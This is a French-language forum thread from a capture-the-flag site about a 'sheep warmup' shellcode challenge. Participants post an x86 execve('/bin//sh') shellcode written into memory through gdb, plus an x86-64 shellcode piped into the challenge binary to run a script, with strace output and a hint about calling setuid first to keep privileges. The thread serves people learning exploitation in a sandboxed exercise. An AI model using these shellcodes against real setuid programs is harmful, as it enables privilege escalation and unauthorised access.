Programmation

vendredi 19 février 2021, 08:58  #1
sheep warmup
razzi94
  • 4 posts

Salut à vous,

Je me suis lancé dans ce challenge qui a priori est le plus simple sur les shell code. J’ai compris que au fur et à mesure des boucles, la mémoire est remplie de mouton, donc mon idée a été d’utiliser gdb pour me placer à la fin de la boucle qui ajoute les moutons et placer un shellcode en mémoire à l’adresse qui est appelée.

quand je désassemble la fonction another_one, je trouve donc une adresse qui est appelée (qui correspond à land), donc je me suis placé juste avant le call et j’ai inséré un shell code (en complétant par des instructions NOP pour arriver à 80 caractères) :

set *0x400188=0x31c05068
set *0x40018c=0x2f2f7368
set *0x400190=0x682f6269
set *0x400194=0x6e89e350
set *0x400198=0x5389e1b0
set *0x40019c=0x0bcd8090
set *0x4001a0=0x90909090
set *0x4001a4=0x90909090
set *0x4001a8=0x90909090
set *0x4001ac=0x90909090
set *0x4001b0=0x90909090
set *0x4001b4=0x90909090
set *0x4001b8=0x90909090
set *0x4001bc=0x90909090
set *0x4001c0=0x90909090
set *0x4001c4=0x90909090
set *0x4001c8=0x90909090
set *0x4001cc=0x90909090
set *0x4001d0=0x90909090
set *0x4001d4=0x90909090

Mais quand je relance l’execution, j’ai l’impression qu’il n’execute pas (je reçois un SIGSEGV, Segmentation fault. 0x00000000004001dc, et si je remplis 0x00000000004001dc de 0x90, ça ne fait que décaler d’une case le SIGSEGV). Vous auriez un tuyau pour m’aider à avancer ?

Merci !

dimanche 21 février 2021, 01:49  #2
sheep warmup
Th1b4ud
  • 1636 posts

Ce que tu fais ne sert à rien. Obtenir un shell à partir d’un debugguer dans le contexte du challenge fera perdre les privilèges suid du binaire. Tu fais fausse piste

mardi 14 décembre 2021, 22:39  #3
sheep warmup
Liaiss
  • 6 posts

Bonjour,

J’ai mon shellcode qui est executé mais je n’ai pas le setuid qui est set. J’ai l’impression que le fs est monté avec nosuid. Quand je voyais l’enoncé, il me semble que le but etait de contourné seulement l’ecrasement des 7 octets des mouton. J’y suis parvenu grace a un jmp codé au tout début car les 2 premiers octets n’etait pas écrasé : donc mon shell code s’execute mais je n’ai plus le setuid :

Est-ce que j’ai raté un truc, s’il vous plait ?

Merci d’avance

Mon shell code execute le script qui se trouve dans /tmp/aa

echo -ne "\xeb\x0c\x6a\x3b\x58\x6a\x3b\x58\x6a\x3b\x58\x6a\x3b\x58\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x74\x6d\x70\x2f\x61\x61\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05" | ./ch12
===== Basic Shellcode Executor =====
Input shellcode : cat : /challenge/programmation/ch12/.passwd : Permission denied

Le strace me donne :

programmation-ch12@challenge01 : $ echo -ne "\xeb\x0c\x6a\x3b\x58\x6a\x3b\x58\x6a\x3b\x58\x6a\x3b\x58\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x74\x6d\x70\x2f\x61\x61\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05" | strace ./ch12
execve("./ch12", ["./ch12"], 0x7ffe953f0fd0 /* 32 vars */) = 0
write(1, "===== Basic Shellcode Executor ="..., 55===== Basic Shellcode Executor =====
Input shellcode : ) = 55
read(0, "\353\fj ;Xj ;Xj ;Xj ;Xj ;XH1\322I\270//tmp/aaI\301"..., 80) = 54
execve("/tmp/aa", ["/tmp/aa"], NULL) = 0
brk(NULL) = 0x56493d63a000
arch_prctl(0x3001 /* ARCH_ ??? */, 0x7ffefbe1a080) = -1 EINVAL (Argument invalide)
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (Aucun fichier ou dossier de ce type)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, st_mode=S_IFREG|0644, st_size=61214, ...) = 0
mmap(NULL, 61214, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f48d75d8000
close(3) = 0
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\360q\2\0\0\0\0\0"..., 832) = 832
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
pread64(3, "\4\0\0\0\20\0\0\0\5\0\0\0GNU\0\2\0\0\300\4\0\0\0\3\0\0\0\0\0\0\0", 32, 848) = 32
pread64(3, "\4\0\0\0\24\0\0\0\3\0\0\0GNU\0\t\233\222%\274\260\320\31\331\326\10\204\276X>\263"..., 68, 880) = 68
fstat(3, st_mode=S_IFREG|0755, st_size=2029224, ...) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f48d75d6000
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
pread64(3, "\4\0\0\0\20\0\0\0\5\0\0\0GNU\0\2\0\0\300\4\0\0\0\3\0\0\0\0\0\0\0", 32, 848) = 32
pread64(3, "\4\0\0\0\24\0\0\0\3\0\0\0GNU\0\t\233\222%\274\260\320\31\331\326\10\204\276X>\263"..., 68, 880) = 68
mmap(NULL, 2036952, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f48d73e4000
mprotect(0x7f48d7409000, 1847296, PROT_NONE) = 0
mmap(0x7f48d7409000, 1540096, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x25000) = 0x7f48d7409000
mmap(0x7f48d7581000, 303104, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x19d000) = 0x7f48d7581000
mmap(0x7f48d75cc000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1e7000) = 0x7f48d75cc000
mmap(0x7f48d75d2000, 13528, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f48d75d2000
close(3) = 0
arch_prctl(ARCH_SET_FS, 0x7f48d75d7580) = 0
mprotect(0x7f48d75cc000, 12288, PROT_READ) = 0
mprotect(0x56493c29f000, 8192, PROT_READ) = 0
mprotect(0x7f48d7614000, 4096, PROT_READ) = 0
munmap(0x7f48d75d8000, 61214) = 0
getuid() = 1154
getgid() = 1154
getpid() = 3000385
rt_sigaction(SIGCHLD, sa_handler=0x56493c294c30, sa_mask= [RTMIN RT_1], sa_flags=SA_RESTORER, sa_restorer=0x7f48d742a210, NULL, 8) = 0
geteuid() = 1154
getppid() = 3000382
brk(NULL) = 0x56493d63a000
brk(0x56493d65b000) = 0x56493d65b000
getcwd("/challenge/programmation/ch12", 4096) = 30
openat(AT_FDCWD, "/tmp/aa", O_RDONLY) = 3
fcntl(3, F_DUPFD, 10) = 10
close(3) = 0
fcntl(10, F_SETFD, FD_CLOEXEC) = 0
geteuid() = 1154
getegid() = 1154
rt_sigaction(SIGINT, NULL, sa_handler=SIG_DFL, sa_mask=[], sa_flags=0, 8) = 0
rt_sigaction(SIGINT, sa_handler=0x56493c294c30, sa_mask= [RTMIN RT_1], sa_flags=SA_RESTORER, sa_restorer=0x7f48d742a210, NULL, 8) = 0
rt_sigaction(SIGQUIT, NULL, sa_handler=SIG_DFL, sa_mask=[], sa_flags=0, 8) = 0
rt_sigaction(SIGQUIT, sa_handler=SIG_DFL, sa_mask= [RTMIN RT_1], sa_flags=SA_RESTORER, sa_restorer=0x7f48d742a210, NULL, 8) = 0
rt_sigaction(SIGTERM, NULL, sa_handler=SIG_DFL, sa_mask=[], sa_flags=0, 8) = 0
rt_sigaction(SIGTERM, sa_handler=SIG_DFL, sa_mask= [RTMIN RT_1], sa_flags=SA_RESTORER, sa_restorer=0x7f48d742a210, NULL, 8) = 0
read(10, "# !/bin/sh\n\ncat /challenge/progra"..., 8192) = 54
stat("/usr/local/sbin/cat", 0x7ffefbe19d10) = -1 ENOENT (Aucun fichier ou dossier de ce type)
stat("/usr/local/bin/cat", 0x7ffefbe19d10) = -1 ENOENT (Aucun fichier ou dossier de ce type)
stat("/usr/sbin/cat", 0x7ffefbe19d10) = -1 ENOENT (Aucun fichier ou dossier de ce type)
stat("/usr/bin/cat", 0x7ffefbe19d10) = -1 ENOENT (Aucun fichier ou dossier de ce type)
stat("/sbin/cat", 0x7ffefbe19d10) = -1 ENOENT (Aucun fichier ou dossier de ce type)
stat("/bin/cat", st_mode=S_IFREG|0755, st_size=43416, ...) = 0
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f48d75d7850) = 3000387
wait4(-1, cat : /challenge/programmation/ch12/.passwd : Permission denied
[WIFEXITED(s) && WEXITSTATUS(s) == 1], 0, NULL) = 3000387
— - SIGCHLD si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=3000387, si_uid=1154, si_status=1, si_utime=0, si_stime=0 ---
rt_sigreturn(mask=[]) = 3000387
read(10, "", 8192) = 0
exit_group(1) = ?
+++ exited with 1 +++

lundi 20 décembre 2021, 00:22  #4
sheep warmup
Th1b4ud
  • 1636 posts

Il faut en effet un shellcode qui appelle setuid avant d’ouvrir un shell pour maintenir les privilèges